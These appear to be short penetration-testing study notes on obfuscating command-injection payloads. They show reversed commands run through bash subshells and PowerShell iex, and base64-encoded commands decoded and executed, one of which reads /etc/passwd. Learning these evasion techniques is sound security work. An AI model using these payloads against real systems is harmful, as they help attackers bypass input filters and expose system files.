Command Injection

Advanced Obfuscation

can reverse a command easily in Linux with

echo 'whoami' | rev

then we can execute it with a sub shell like

$(rev<<<'imaohw')

reverse a command

"whoami"[-1..-20] -join ''

then inject it with

 iex "$('imaohw'[-1..-20] -join '')"

We can obfuscate our code by doing encoding

base64 encode

echo -n 'cat /etc/passwd | grep 33' | base64

Subshell to decode

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Convert command to base64

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

Subshell decode

 iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"